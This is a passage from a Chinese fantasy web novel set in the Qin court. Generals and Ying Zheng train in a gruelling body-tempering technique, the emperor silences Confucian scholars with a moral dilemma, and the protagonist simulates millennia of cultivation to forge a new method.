却见一个个体魄精壮的汉子以无比古怪的姿势,在营地之中缓慢行动着,一举一动如同龟爬,那一个个粗壮的胳膊大腿在剧烈颤抖,汗出如浆,皮肤都是几乎赤红。
地面上都是浸湿了一片片的汗水。
而在这缓慢的行动中,每个人都是稍微动一动,就要惨嚎一声。
一群大汉,硬是叫得像个娘们。
两边都是极致痛苦,行进缓慢,偏偏还互相较劲,谁也不服谁,你进一步,我就进两步,你举一下,我就举两下,你扭一圈,我就扭两圈!
虽然我叫的惨,但是我做的多!
好似叫的声音越大越惨,反而越是荣耀似的。
每叫一声,还要挑衅一般的看向对面,挑挑下巴。
看的蒙恬失笑不已。
“就让本将来教教你们,什么叫做意志力吧。”
第87章 嬴政:卿修炼的这是什么邪功?
来到营中,上任副将很是顺利,赵诚如今在血衣军的威望太强,有他的任命,根本不会有任何人质疑。
以至于本来还想展示一些什么来证明自己的蒙恬无所事事。
干脆,再次看起这血衣军炼体功来,昨天从回去开始,他就一直在看。
虽说炼体功比食气法要简单得多,但那也是相对来说。
血衣军炼体功涉及到呼吸吐纳,桩功,动功,到了后面更是需要搬运气血,领悟还是需要一点时间的。
好在蒙恬也没少锤炼体魄,上手确实很快。
到了下午时分,就已经搞明白了七七八八。
而后来到军中,看着一群血衣军将士鬼哭狼嚎,他淡淡的笑了笑,加入了其中。
呼吸,深,长,匀,细,轻震体魄,激荡气血……
呵,也不过如此嘛。
只是有少许酸痛,谈不上什么痛苦,完全可以接受。
这些锐士,还是经历得太少了啊。
他如此想着,立下桩功,双腿如同老树盘根一般,稳稳扎地。
而后配合特殊的呼吸频率,以及吐纳发声,来震荡身体各处关键部位的气血,让浑身的气血激荡起来。
渐渐的,浑身发热,看似站桩,实际上身体的每一个角落,都在以更快的频率运作。
气血愈发激荡,肌肉承载的负荷越来越高。
渐渐的,酸痛之感愈发明显,腿上开始传来麻痒。
随后隐隐有肌肉撕裂之感传来。
蒙恬微微皱眉,有点东西,不过完全可以接受。
这根本不算什么,也就和敌人的刀砍在骨头上差不多嘛。
看着一旁动一下就嗷一嗓子的锐士,蒙恬摇头失笑。
一刻钟后。
“嗷!”
蒙恬嗷的一嗓子跳了起来,惊疑不定的看着自己的腿。
沃耶?
还在?
刚刚那一刻,他感觉自己的腿骨碎成了八百块,血肉都好似分崩离析了一般。
在他惊疑不定之中,周围的将士们传来了深表同情的目光。
那意思是,“副将,兄弟懂你的痛!”
章邯满头大汗地来到蒙恬身边,拍了拍他的肩膀,挑了挑眉毛,“别急蒙将军,一切,才刚刚开始。”
说完这句话,他扭头就走了,以一种非常古怪的姿势,仿佛背负大山一般向前缓慢行进。
没进一步,浑身颤抖,那强壮如同青铜鼎柱的大腿,竟然是剧烈颤抖,皮肤赤红,汗出如浆,咬牙不吭一声。
蒙恬此时刚刚体会到震血桩的强度,看着章邯修炼背山式都不吭一声,不由得惊叹,“当真是条汉子!”
话音未落,章邯就“嗯”一嗓子销魂之音发了出来,声音婉转柔媚,短短一声,竟然拐了七八个弯,让蒙恬听得浑身一个激灵。
不是,这是硬汉能够发出来的声音?
诸将士古怪憋笑,也不敢抬头去看章邯,但憋得实在辛苦,再加上修炼时候身上每时每刻都传来巨大的痛苦,以至于许多人破了功,扑通扑通摔倒在地。
章邯面红耳赤,他娘的,老子怎么可能会发出这种声音!?
可恶!
这背山式压力太大了,别的锻炼体魄方式都是体魄越强,练起来压力越小,这功法不是,这功法是体魄越强压力越大,他全部精力都在这背山式中快速耗尽,又强忍着剧烈痛苦不发出声音。
结果一个气力松了一瞬,就有一丝气冲出了喉咙,导致出现了如此羞耻的声音。
刚刚还展示前辈威风的他,此时根本不敢回头去看蒙恬的表情,只好沉默着继续背山向前,如同龟爬。
想到已经发出了如此羞耻的声音,他干脆也不再掩饰,没走一步,就嗷一嗓子惨嚎。
听起来让人心神发颤。
蒙恬也终于意识到了赵诚说的痛苦到底有多痛苦。
这玩意他刚刚开始修炼桩功,就感觉两条腿好似骨骼碎裂成了几百块,血肉更是被凌迟一般片片分离似的。
而随着继续修炼,浑身上下的皮肉之中,更似乎有千万只蚂蚁在钻爬啃噬,每一寸肌肤都能够在一瞬间,传来成千上万道钻心之痛。
这他娘的是什么邪功!?
老子被敌人砍上一百刀,也比修炼这玩意片刻时间要强啊!
可恶,老子是副将,总不能比章都尉还弱。
挺住啊蒙恬,让他们看看副将的意志力!
于是,蒙恬开始了水深火热的地狱特训。
和六千预备血衣,三千正式血衣一起在营地之中鬼哭狼嚎了起来。
时间变得漫长,而这功法也确实有着奇效。
好似一刻钟就能够消耗掉全身上下所有力气似的,但是下一刻却总有更多的力气被压榨出来。
每每以为自己到了极限,体内激荡的气血之中,总能凝聚出更多的气力,支撑他们继续锻炼。
如果实在挤不出来了,那肚子也就饿了,立刻去吃东西,吃饱了再来,又能继续修炼。
正常情况下,锐士修炼此功也到不了如此程度,人的意志力毕竟是有限的。
但人的好胜心却是无限的。
六千预备血衣因为不愿意给赵诚丢脸,更不愿意输给正式血衣,憋着一口气,就是他娘的练,狠狠的练,死死咬着正式血衣的训练强度不放。
而三千正式血衣也是有着自己的骄傲所在,就是不愿意输给六千预备血衣,就算是痛晕过去,也让同袍给自己几个嘴巴扇醒,然后继续练,说什么也不能被预备血衣超过。
两边较劲起来,蒙恬就叫苦不迭了。
他倒是不用较劲,但他是副将啊,以后还要配合赵诚领兵的。
如今如果连修炼都比不过锐士们,以后还如何服众?
这下可是遭了重了,他也是骑虎难下,不得不加强训练强度,拼命忍受着痛苦,咬着牙要比将士们多修炼一些。
可架不住这群疯子较劲,训练强度是真的高啊,一天到晚那是生不如死!
让蒙恬眼前阵阵发黑。
可真是上了鬼的当了!
当初为什么要决定来这营地之中和将士们一起修炼?
蒙恬开始怀疑人生。
本想展现强大意志力,没想到暴露了弱小意志力。
一部人从早上修炼到晚上,也从早上嚎叫到晚上,那叫一个惨不忍闻。
听得营中的其他普通将士心里阵阵发慌。
到了晚上,也是睡也睡不好。
血衣军还没熬不住,营地中的其他普通士卒先熬不住了,一个个盯着大黑眼圈训练。
最可怕的是,这群魔鬼吃的是真多啊,恨不得一个时辰一顿饭,顿顿都是一个人吃十个人的饭,细柳营的普通士卒份额,都快要被他们吃没了。
他们是吃也吃不好,睡也睡不着。
要不是有赵诚的威望,以及血衣军的威名在,细柳营的士卒们都要发疯抵制了。
王离天天都是唉声叹气,实在受不了了,决定进宫面见大王。
快给血衣军,单开一个营地吧,受不了了!
……
“嗷!”
王宫之外,花苑中心的空地上。
蒙毅站桩没多久,就嗷的一声跳了起来,跌坐在地上且惊疑不定。
他不可思议的看着自己的腿,用手触摸了几下,这才确信没有受伤。
不但没有受伤,而且气血愈发激荡,整条腿都是热乎乎的,并且不断向着腰腹部位蔓延。
只是这一时半会的功夫,他就感觉体内有着更多的力量涌现。
“真有奇效?”
“再来!”
他亦是坚韧不拔之辈,只是休息片刻,就开始咬牙继续修炼。
然而一段时间之后,那种痛苦愈发剧烈,他咬牙坚持,终于又是忍耐不住,叫出了声来。
“嗷!”
浑身颤抖,汗出如浆。
好在这花苑平常也没什么人来,他工作疲惫之时,偶尔会来到这里坐坐,是个幽静练功的好地方。
“嗷!”
又是一嗓子,将循声找到此处的嬴政吓了一跳,匆忙几步上前。
“上卿,汝这是怎么了!?”
嬴政见蒙毅满脸痛苦,汗出如浆,面色更是殷红如血,还以为他生了什么生不如死的急症,当下就扶住蒙毅,命令赵高道,“赵高,快传官医来!”
“是,臣……”
蒙毅也是吓了一跳,连忙收了功,“陛下,并非生病,臣在练功啊……”
嬴政疑惑不解,“练功?”
“上卿,你这功看起来可不像是正经功夫,莫不是被某些方士骗了,炼错了邪功?”
“怎么看着如此痛苦?”
蒙毅笑道,“陛下,我已练了两日了,且看!”
他呼的一声打出一拳,力道比之前有着很大长进。
嬴政看着他这一拳,心中还是没有放下心来,“寡人听闻,某些邪功或者药方能够短暂刺激体魄,还是找官医看看才是。”
蒙家世代为将,蒙骜更是历经四朝,立下奠基之功。
蒙毅这孩子自小就跟在他身边做事,不但机灵玲珑,做事情亦是得力的很,同时也是他最重要的心腹之一。
许多无法和别的大臣说的话,他都和蒙毅说,蒙毅也总会给出一些恰到好处的想法。
而且蒙毅做的都是文臣的事,如今突然练武,练得如此痛不欲生还坚持不懈,定是邪功无疑!
他怎能看着蒙毅误入歧途?
第88章 嬴政练邪功,血衣军新营地
“陛下,这是上将军为血衣军准备的炼体功,不是什么方士乱搞出来的邪功,不需要担心臣。”
蒙毅虽是满头大汗,却是神采奕奕。。
他虽然只练了两天,但是已经能够明显感觉到身体的不同。
可见此功玄妙。
“哦?”嬴政眉头微挑,有些惊讶,“这炼体功怎么锻炼起来如此痛苦,寡人看你已经是满头大汗,修炼起来更是面色狰狞。”
蒙毅说道,“此功能够快速增进体魄气力,痛苦一些反而合理,就算是日常锻炼,身体也会传来酸痛之感。”
“臣以为,此功就是以更强大的效力,来以更快的速度锤炼体魄,才如此痛苦。”
嬴政一想,确实是这个道理。
他每日理政,从清晨天还没亮的时候,一直忙碌到深夜,根本没有时间去长时间锻炼。
但偶尔活动,又起不到什么好的效果,和没锻炼差不太多。
这炼体功,如此节省时间,岂不是正适合他?
至于什么修炼起来过于痛苦的事情,他根本不放在心上。
“此功听起来不错,也抄写给寡人一份,寡人也要练上一练。”
“这……”蒙毅有点为难,“陛下,这功法修炼起来,身上好似有无数蚂蚁在啃咬,陛下何必……”
嬴政摇头道,“无需多言,血衣军将士练得,你蒙毅练得,寡人如何练不得?”
“区区身体之苦,寡人还是能吃得下的。”
“好吧。”
蒙毅无奈,命人将功法抄写了一份给嬴政。
嬴政翻看着功法,觉得这里面蕴含的炼体之法十分精妙,创造者应该是对人的体魄极为了解。
他唤来顿弱,“你看看此功,有什么不妥之处吗?”
顿弱接过功法,仔细翻看了一番,惊为天人,“这功法……”
“精妙至极,又简略到了极致!全篇上下没有一丝一毫的冗余,每一处都是精准的针对身体关键部位进行加强,而且为了提高效率,还增加了特殊的呼吸法,与桩功和动功进行配合。”
“这功法,莫非就是上将军为血衣军创造的那部功法?”
顿弱平常也会根据黑冰台秘士的天赋,对他们进行训练,而黑冰台之中不是没有炼体之法,就连食气之法也有不少。
只是天赋异禀者有限,所以大部分人修炼的还是炼体之法,而那些炼体之法要么需要积年累月水磨工夫才能够修炼有成,要么就是能够速成却有许多副作用。
比如会超载负荷身体,或者透支潜力,使得寿命大大缩短之类。
所以顿弱对于炼体功也算是有些了解。
如今只是看了几眼,立刻发现了这功法的不烦,也随之察觉到这功法的来处。
“正是。”
得了答案,顿弱深吸一口气,“怪不得上将军如此神勇,其对于炼体一道的精通,恐怕世上已经没有多少人能够比得上他。”
“陛下,此功没有什么问题,唯一需要注意的是,此功入门容易,但修炼艰苦,需要承受寻常炼体功所受千倍甚至万倍的痛苦,才能快速精进。”
嬴政笑了起来,“无妨,寡人不怕苦,既然没有不妥之处,明日,不,今日寡人就开始习练此功,锤炼体魄。”
“如此一来,或许能增加一些精力,不至于每日都疲惫困乏难忍。”
当皇帝不容易,全国上下的诸多大事都要决断,同时还要慑服群臣,拿捏他们的想法和心思。
若是将手中的事都抛给手下去做,则手下权力越来越大,早晚会出了乱子。
经过吕不韦时期之后的嬴政,对于这种事情最为警惕。
所以就算是在历代皇帝之中,始皇帝也是最为勤勉,他不享乐,无一日不是凌晨便起,理政到深夜。
后来寻求长生,也是因为他发现自己的身体每况愈下,但这大秦还有太多的事情等着他做,他深觉时间不够用,才开始寻觅长生之道。
即使现在还年轻,但是身体也已经开始有些吃不消了,勤政带来的隐患初现端倪。
他迫切的需要锻炼身体,却又没有多少时间,这炼体功的出现,让他颇为惊喜。
顿弱提议道,“要不然,让上将军为陛下特制一份炼体功法?以他对于炼体的造诣,这应该也不算什么难事。”
嬴政大手一挥,“不用,血衣军每日都在忍受痛苦,依照此功锤炼体魄,寡人就与他们炼一样的东西,用这份痛苦来提醒自己,将士们如何用命,寡人怎可懈怠?”
“好了,你下去吧,寡人要开始锻炼了。”
顿弱离去。
嬴政也来到了花苑之中,挥退了众人,而后翻看了一阵,确定将第一篇的所有内容全部领悟,便开始站桩引导呼吸。
气血渐渐激荡起来,多日来沉积的疲惫,渐渐被冲散,这让嬴政愈发惊喜。
小半个时辰之后,周身上下皮肉之中,传来千万只蚂蚁啃噬一般的痛苦,顺着那些敏感的神经直通大脑,让嬴政眼皮微跳。
但他面色不变,反而更加用力的修炼默默提高了强度。
又半个时辰之后,他亦是汗出如浆,肌肤赤红,脸上的肌肉因为时刻冲击大脑的剧痛,而不自主地颤动着。
但长目之中却爆发亮芒,继续加强了强度,甚至开始修炼负山式前行。
每一步,都缓慢至极,看着古怪,却稳如泰山。
地面上,随着他前行的缓慢步法,浸透了汗水。
但却不发一言,连一声闷哼都没有。
如果血衣军的诸多将士在这里,恐怕会惊得合不拢嘴。
因为至今为止,修炼此功至负山式的人中,他们从未见过哪怕一个人能够忍住一声不吭的。
嬴政却是顶着一副从未锻炼过的疲惫身躯,强修负山式而不发一声,动作不但没有变形,甚至还异常稳定。
不过又是一炷香之后,嬴政突然感觉到体内力气完全被榨干,没有了一丝一毫能够榨取出来的力气,而且腹中饥饿难耐,恨不得能够吃下一头牛!
这种欲吞全牛的好胃口,他已经许久许久没有感受过了。
他清晰地感受到了身体之中的变化,气血愈发顺畅,精神也随之饱满起来。
大为满意之下,他大笑起来,着看向手中记载功法的竹简,赞道,“真是神妙。”
“也不知道这孩子是从哪里学来的。”
“真是天赐秦也!”
他大踏步走向章台宫殿,愈发意气风发。
若每日修炼此功,他那遍布隐患的身体就会渐渐好转,精力就会愈发充沛,处理政务起来也会更加得心应手。
这让他雄心勃勃,心中去了许多隐忧。
回宫之后,他立刻命人送来饭食。
于大殿之上,吃了往日里三天都吃不掉的饭菜,将赵高惊得连连询问有没有不舒服的地方,生怕他撑到。
实际上,就连嬴政自己,都惊讶于自己能吃这么多。
往日里,他常常没有什么胃口,最多吃上一点,就不想吃了。
甚至很多时候,心思全都在政务之上,随便吃上几口,就继续开始理政。
哪像今天,不但吃得异常过瘾满足。
而且在吃的过程中,就能够感受到食物快速消化,转化成了力量,快速补充到身体各处,而后化为精力气血,让他那往日虚弱的身躯,充满了力量感。
这种明显精进的感觉太好了,甚至让他都有点上瘾。
不过今日已经花费了一个时辰,他必须尽快处理政务了,于是开始了工作。
又没多久,殿外传来通报声。
“陛下,细柳营都尉王离求见。”
“进来。”
王离顶着一双黑眼圈,一进入殿中就行大礼叫惨,“陛下,不能再这样下去了!”
嬴政满头问号,“什么不能这样下去了?”
王离也意识到自己失态,于是连忙整理措辞,说道,“细柳营中,那血衣军练兵从清晨练到深夜,也不知道在练些什么,鬼哭狼嚎不断,叫得凄惨无比,从早到晚连绵不绝,渭水河里的鱼都吓跑到一条不剩了!”
“营中将士们,已经多日没有睡好觉了,休息不好,白日训练起来也是有气无力。”
“最可怕的是,那些血衣军饭量大若谷仓,一顿饭恨不得吃掉细柳营三天的配额,一天就能吃十顿饭,细柳营真是顶不住了啊陛下。”
“恳请陛下,为血衣军另建一营吧,他们这种情况,不管放到哪里,普通将士都无法承受。”
嬴政听着,不由得失笑。
突然升起了几分共鸣。
他也是修炼过血衣炼体功的,深知这功法修炼起来的痛苦,就算是坚忍不拔之辈,那也是痛不欲生。
他虽然能够一声不吭,但是那种深入骨髓的痛苦,却是一点没落的照单全收。
自然便能够理解血衣军将士们的鬼哭狼嚎,想到那副画面,心情不由得也有些高兴起来。
血衣军刚刚建立,却已经有如此势头,修炼如此痛苦的功法,还能从清晨修炼到深夜,可见赵诚治军之能不俗!
嬴政又想到,此功如此精妙,不如让全军都修炼此功?
但很快,他又否决了这个想法。
连他这种身体修炼之后,都能吃上那么多东西。
血衣军更是一顿吃掉全营三天配额,要是推广到全军……
怕是要将秦国的储粮都吃干净了!
那等消耗,光是想想就不寒而栗。
于是他说道,“那就让血衣军单独建营吧,建营之处就设在……上林苑!”
第89章 嬴政舌战群儒,淳于越痛心疾首
上林苑初建于秦国,在秦惠王时即已出现,最初是作为秦国君主游猎、休憩的场所。
统一六国之后,嬴政才对上林苑进行了初次扩建,使其规模有所扩大,让上林苑作为重要的皇室园林,在其中修建了许多宫殿、亭台楼阁等建筑。
并在苑中养百兽,天子春秋射猎苑中,取兽无数,是君主和贵族们进行狩猎活动的场所。
而当前这个时期的上林苑虽不如后来那般庞大,但用作血衣军建营却是绰绰有余。
而且上林苑与咸阳宫不过隔着一条渭水,咸阳宫在渭水北岸,上林苑在渭水南岸,在此处建营,可以拱卫咸阳,随时候命出动攻伐。
如此地理位置,再加上单开一营,可谓是给足了血衣军殊荣。
王离闻言虽是心惊,但总算是能够摆脱这群恐怖的饭桶,也是大喜过望,“臣恩谢陛下!”
嬴政命赵高拟了令,派人带着王令和王离一起去细柳营了。
“宫学之中情况如何了?”
“众儒学博士依然聚集在宫学之中,不过如今已经不争吵了,都是不发一言默默翻阅典籍。”
嬴政说道,“你去传话,今日午时之前没有一个合理的答案,就让扶苏去跟随赵诚治军。”
“唯。”
宫学之中,扶苏坐在案前,如同一座雕塑似的,一动也不动,就连眼神都半晌毫无变化,不知道在想些什么。
而诸多儒士则是面色枯槁,急促地翻阅典籍,想要找出一个答案。
气氛异常沉闷,让人有些喘不过气来。
有人长吁短叹,有人直接扔掉了典籍,揉乱了自己的头发。
就在这个时候,赵高到了。
“陛下有令,若今日午时之前诸位博士还没有能够合理回答车舆论的,便让扶苏公子跟随大良造去治军。”
此话一出,群儒激愤。
“怎可如此?”
“扶苏公子要学的可是治国之学,去和那血屠学岂不是误入歧途?”
“那血屠只会误人子弟,若是让扶苏公子去和他学习治军,以后只会残暴不仁!”
“这诛心之论本就是诡辩之术,以此证明我等无能,甚是昏庸!”
“公子不要受其蛊惑,这车舆论就是一个陷阱,世上哪有这般非此即彼的事情?”
“是啊,世上的事情解法颇多,如车舆论这种情况,并非只有救一人而杀五人这一种解法,若身临其境,大可拉住缰绳,救下双方!”
“……”
扶苏不言,面色和眼神都没有丝毫变化,似乎群儒所说的话,一点也没往心里去。
群儒更是焦急。
赵高则是劝道,“诸君莫急,公子也不是小孩子了,他有自己的主见,什么是好,什么是坏,他清楚得很。”
“只要他坚持儒学之道,愿以仁心应对天下之事,又怎会被别人影响?”
众儒闻言,顿时惊醒。
“是啊,只要扶苏公子不愿意,谁又能强迫他改变自己的思想呢?”
“公子若是不愿,我等自会去和大王请命,为公子做主!”
“那血屠用心歹毒,误公子入歧途,此事不能善罢甘休!”
“只要公子一言,我们立刻随公子去见陛下,陈明厉害!让陛下收回成命!”
“公子生性正直善良,就算跟随血屠左右,也必定只会对其深恶痛绝,哪里会学到什么真东西?”
解决不了问题,就想办法解决人。
不论是让扶苏表明自己不愿意去跟随赵诚也好。
亦或者是让秦王明白此举不妥也好,都能够改变当前的局势。
扶苏依然一动不动。
这几日他见到群儒抓耳挠腮,却始终解决不了这个问题,渐渐也意识到了什么。
可那一点灵光,始终混沌不清晰,让他抓不住。
他觉得儒学亦有一些问题,但这问题到底是什么呢?
对于赵诚,他依然没有改观,因为无论如何,他都接受不了屠卒之举,可为何又觉得他屠卒也有他的道理呢?
儒学的恻隐之心是他的本能。
战场杀伐你死我亡又是清晰可见的合理。
他感觉自己找不到答案,但那一直坚不可摧的儒学思想,却出现了一点裂缝,让他想要去做些什么来进行验证。
于是他突然抬头,说道,“吾去随大良造治军一段时间,吾要看看吾多年所学应该如何落到实处。”
他站起身来,就朝宫学之外走去。
群儒急了,那血屠用心险恶,一个车舆论把他们搞得欲生欲死!
要真让公子去了,要不了多久,回来恐怕就已经是个小屠子了!
这哪里能忍?
淳于越等人面面相觑,都是一咬牙,“吾等去面见陛下,定能让陛下收回成命!”
群儒激愤地拥簇着扶苏向着章台宫而去。
嬴政刚刚专注处理政务没多久,就听见外面杂乱的声音传来,不由得头疼地揉了揉眉心。
“陛下,博士淳于越带着众儒士来见。”
“让他们进来。”
一行人呼呼啦啦地进入殿中,一进来就跪了一地。
“陛下,圣王之治,在修文德以安天下,非恃甲兵以威四海。
今公子亲赴军伍,是示天下以武力为尚,恐伤先王‘仁政’之教啊。”
“陛下,兵者,凶器也,圣人不得已而用之。今使储贰亲掌戎事,非所以重社稷、示怀柔也。”
“古者,太子居东宫,亲师友,习礼义,以承宗祧之重。
今置军中,是离根本而轻社稷,恐启庶孽窥伺之心。”
“陛下,公子仁而好儒,宜留中辅政,修先王之典,兴礼乐教化。军旅之事,有诸位宿将在,非储君所当亲履。”
“公子性本仁慈,军旅多暴气,久处则伤公子温良之德。陛下当惜储君之体,留其在朝润泽风化,何必亲涉艰险?”
“……”
一群人接连说出一大堆道理,引经据典,甚至引出先王的主张,想要让嬴政收回成命。
嬴政听他们大道理也不是一日两日了,知道越听越麻烦,扯皮起来更是没完没了。
往日里没有什么说法能够对制他们。
但今天,他可是早有准备。
他挥了挥手,打断了群儒的话,威严的声音在大殿之上响起。
“汝等可解车舆论?”
满朝儒生顿时为之一静,面面相觑,不发一言。
嬴政这个痛快啊。
什么时候能用一句话堵住群儒的嘴了?
爽!
淳于越说道,“赵诚此言,乃是以术害道的诡辩!”
“仁之所至,视人如己。今问‘救一与救五’,是将人命视为筹码,以多寡定取舍,此乃商贾计利之心,非圣贤体仁之道……”
嬴政又问道,“圣贤之道如何解不出车舆论这样一个小问题?”
淳于越一滞,气得说不出话来。
周青臣继续顶上,“《论语》曰‘己所不欲,勿施于人’,若此难题加诸辩者自身。
一为其亲,五为他人,其亦能坦然‘弃亲救五’乎?
以虚设之问求绝对之答,是离人情而空谈术,非君子所尚。”
嬴政继续问道,“若非虚设,真遇到此事,君子该救哪一方?”
周青臣张了张嘴,好似被扼住了喉咙。
另有儒生更换角度,想要表达多日来思考所得,结果都被嬴政一问败退。
嬴政以此一问舌战群儒占尽上风,把群儒气得口齿都不伶俐了。
群儒博学,往日辩论,都是引经据典,哪打过这么憋屈的仗?
偏偏这个问题,与儒学是先天的敌对。
只是问出来,就相当于按住了他们的脖子堵住他们的嘴。
偏偏又是无解。
导致他们一个个满腹经纶说不出一点来,气得几乎脑溢血。
而嬴政却是一阵身心舒爽。
面对这些腐儒,他还没打过这么轻松的嘴仗。
赵诚是个好孩子啊。
群儒有理也说不清,一个个讷讷无言,苦思冥想如何阻止扶苏跟随赵诚。
而嬴政则是问扶苏,“扶苏,此问已有几日了,你有何想法?”
扶苏似乎仍处于困惑之中,不过此时却显得沉稳多了。
小小的如玉公子立在殿下,困惑中努力梳理思绪。
“王父,扶苏所学,不能答此问,而此问也并非完全虚设,人生于世,总会面临太多抉择。”
“但扶苏以为,仁义之道亦无错处,错在用他去做什么,大良造所言不虚,君子不器,不可以仁义捆缚自己,亦不可以仁义器国。”
“故,扶苏愿随大良造治军,以实事印证多年所学。”
“扶苏想去看看,吾之仁义,该用在何处,大良造所作所为,究竟是善还是恶……”
嬴政露出欣慰的笑容来。
这死脑筋总算是有救了……
他大手一挥,“去吧。”
扶苏行礼告退,在群儒痛心疾首的呼喝挽留声中,头也不回的往赵诚宅邸而去。
淳于越气的快要吐血。
“该死的血屠!!”
“误我国本!!”
“这乱臣贼子!恃权而骄,行险而侥幸,岂不闻‘多行不义必自毙’?
若吾寻得足下构陷忠良、紊乱朝纲之马脚,定当联合同僚,奏请陛下明正典刑!”
“彼时纵足下有千般诡辩,万贯家财,亦难赎‘蠹政害民’之罪!”
“勿谓言之不预也!”
第90章 万年推演!周天星斗纳真诀!
清晨的第一缕阳光穿过窗台,照耀在莳薇艺植的奇珍盆栽上,在地上映出水墨画一般的剪影。
彻夜的传道授业,以断玉再也吃不消而告终。
修为没有精进之前,她只是隐隐察觉到赵诚体魄如龙,难以抵抗。
修为大幅精进了之后,她才更加意识到对方的恐怖。
见赵诚连战连捷,又要卷土重来,断玉花容失色,心中想着下一次一定要将那几个故韩贵女一起拉上贼船。
嘴上却是立刻转移话题,“爵爷,玉衡楼的三十六楼主和副楼主都抵达咸阳了。”
“妾奴命他们盘下了一些酒楼,如今正在城中候命。”
“唔……”
说起正事,赵诚也没有转移了注意力,而是双管齐下。
又是许久之后,赵诚终于倾囊相授。
于是问道,“他们实力比你如何?”
断玉无力如呢喃般说道,“都是天赋异禀之辈,又是从小培养,比我要强的多了。”
“这样……”赵诚想了想,“若要让玉衡楼的力量渗透诸国,三十六人不够吧。”
“人手的事情,妾奴自会安排,爵爷不用费心。”
“不过,最近爵爷要小心一些。”
赵诚眉头一挑,“小心什么?”
断玉缓了口气,“爵爷八日灭韩,威名震慑诸国,诸国自然也不会坐以待毙,近来得到消息,江湖上出现了重金悬赏令,悬赏爵爷的人头。”
“让他们来就是。”赵诚不以为意,“玉衡楼铺开,需要资金吗?”
断玉摇头,“玉衡楼本身就是聚宝盆,妾奴之前掌管玉衡楼,积累了不少身家,若是爵爷需要,妾奴随时可为爵爷准备。”
还有这种好事?
饶是之前就已经见识到了断玉的诚意,赵诚还是觉得诚意太足了些。
“那好,这些事情就交给你了,需要什么再和我说。”
“你且先休息一阵,我还有别的事情。”
这一次断玉没有提前起身,将房间收拾妥当。
没办法,修为虽然提升了不少,但是授业的强度也随之提升了。
简直就是怪物。
断玉的眸子转了转,心里已经在琢磨怎么将另外几个故韩贵女忽悠上贼船了。
……
“爵爷,公子扶苏求见,已在前堂等了许久。”
赵诚在朝雪的侍奉下梳洗着,青鸾则是快步而来,通报扶苏来见。
“先吃饭。”
赵诚没有什么兴趣和小腐儒扯皮。
帮嬴政带孩子这种事,怎么想都觉得没什么好处,更何况扶苏是个死脑筋,那就更没意思了。
若是和胡亥那般,带着骄矜之气,晾上一阵,自己就知难而退了,反倒省去了赵诚许多麻烦。
若是能够承受这份冷落,反倒还有几分可教之处,那时候赵诚才会见他。
梳洗更衣,又净手之后。
赵诚美美的吃了一顿饭,直接来到了静室之中。
花费寿命凝练了十枚悟性丹和十枚聚元丹。
准备推演出一部适合自己修炼的炼气功法,然后一口气开辟丹田。
如今他冲脉之中的十个大窍,都已经蓄满了玉液真元。
而通过雪幽的讲述,他也已经将雪家阴阳术中的观星入脉法学了个透,甚至就连占星术都已经入门,只待推演了。
再加上到手的这几部炼气功法,已经有了足够的素材,让他推演出一部契合自己的练气功法。
唯一的不足是,这几部炼气功法相对来说比较简陋。
结合它们进行推演,推演出一部完善的功法容易,但推演出一部顶尖的炼气功法却很难。
他吞下十枚悟性丹,而后开始翻看炼气功法,将基本功法全部都入了门之后,便开始投入寿命推演。
【第一年,你修炼采青诀,你吸收天地万青草木之气,化作体内生机,一呼一吸之间,似有勃勃生机丝丝缕缕进入体内……】
【第十年,你已经渐渐体会到采青诀的奥妙,你更加喜欢待在有花草树木的地方,在这些地方,你修炼的速度会无限增加……】
【第五十年,你一边修炼一边参悟,因为你体内已经有了强大的玉液真元,可以辅助你修炼采青诀,所以仅仅五十年的时间,采青诀所需的窍穴便全部被你冲开。
不过采青诀窍穴之中的真元,相比于你之前修炼出来的真元,强度差了千百倍不止,唯一的好处就是蕴含庞大生机,你的寿命有所提升……】
【第八十年,你将采青诀所需要的十八处窍穴全部开辟了出来。】
【第一百年,因为真元强度不高,采青诀修炼起来很快,但二十年间,你也只是填满了三处窍穴……】
赵诚睁开眼睛,毫不犹豫的吞下一枚聚元丹。
而后继续投入寿命推演起来。
【第一年,你吞下了聚元丹修炼采青诀,无尽元气瞬间涌入经脉之中,化作精炼的真元冲入窍穴,短短几日时间,你就填满了十八处采青诀窍穴。
随着真元蓄满了窍穴,你开始感觉到下腹部有一些热流涌动之感。
那十八处窍穴之中的采青元气似乎与那一处地方有所联系,好似十八处窍穴之中的真元都想要顺着经脉流淌到丹田之中去一般。
你知道这是即将开辟丹田的征兆,但因为采青诀的真元太弱了,所以你压制了这种异动,开始尝试以观星入脉之法凝练采青诀窍穴之中的真元。
可惜两者差异太大,无法相融,你只得不断参悟采青诀,想要将其完全参悟,进而在采青诀的基础上,推演出更加精深的功法来。】
【第五十年,你在采青诀的基础上更进一步,依照万物生杀之理,推演出了四时轮回诀。
采青诀真元开始出现了变化,从原先的生机勃勃中,多出了一抹肃杀之气,强度也比之前高了数倍不止。】
【第三百年,你更进一步,推演出了生杀轮回诀,十八大窍之中的真元强度陡增七八倍,但还是无法与你观星法开辟的十个大窍真元相融。】
【第五百年,你发觉即使是生杀轮回诀修炼出来的真元,也无法和你观星大窍之中的真元相融,好在生杀轮回诀与另一本两仪真本有共同之处,你开始参悟两仪真本……】
【第八百年,两仪真本更为晦涩,却也更加精深,随着你深入参悟,你再次开辟出了二十个大窍,并且将两仪真本完全吃透,开始推演两仪真本……】
【第一千三百年,你依照两仪与生杀之间的一丝联系,不断尝试将两者相融,两本功法的三十八个大窍渐渐形成了联络……】
【第二千三百年,两仪真本和生杀轮回诀渐渐相融,你体内依照两本功法开辟的大窍也渐渐成为一体,真元强度再次提升……】
【第三千年,你创造出了两仪轮回诀,此诀贯通三十八处大窍,其中真元,蕴含两仪之力,既能锋锐杀伐,亦能妙手回春,强度颇高。】
【第三千一百年,你尝试以两仪轮回诀融合你自己的观星入脉法,失败……】
【第三千四百年,你再次尝试以两仪轮回诀融合你自己的观星入脉法,依然还是失败,两者之间,似乎毫无关联……】
【第三千八百年,反复失败后,你开始参悟日月宝录……】
【第四千三百年,你完全参透日月宝录,并且再次开辟了十一处大窍。】
【第五千五百年,你以日月宝录之中的日月轮回之理,对应两仪轮回诀,成功将三者再次融为一体。
体内四十九处大窍轮回运转不息,真元运行在阳脉之中,如同骄阳烈烈,真元游走在阴脉之中,有若辉月当空。】
【第五千六百年,你以日月两仪轮回诀融合冲脉大窍,依然失败……】
【第六千年,你依照所学星理,发现了其中玄妙,决定以雪家观星入脉法为核心,糅合诸法,自成一家。】
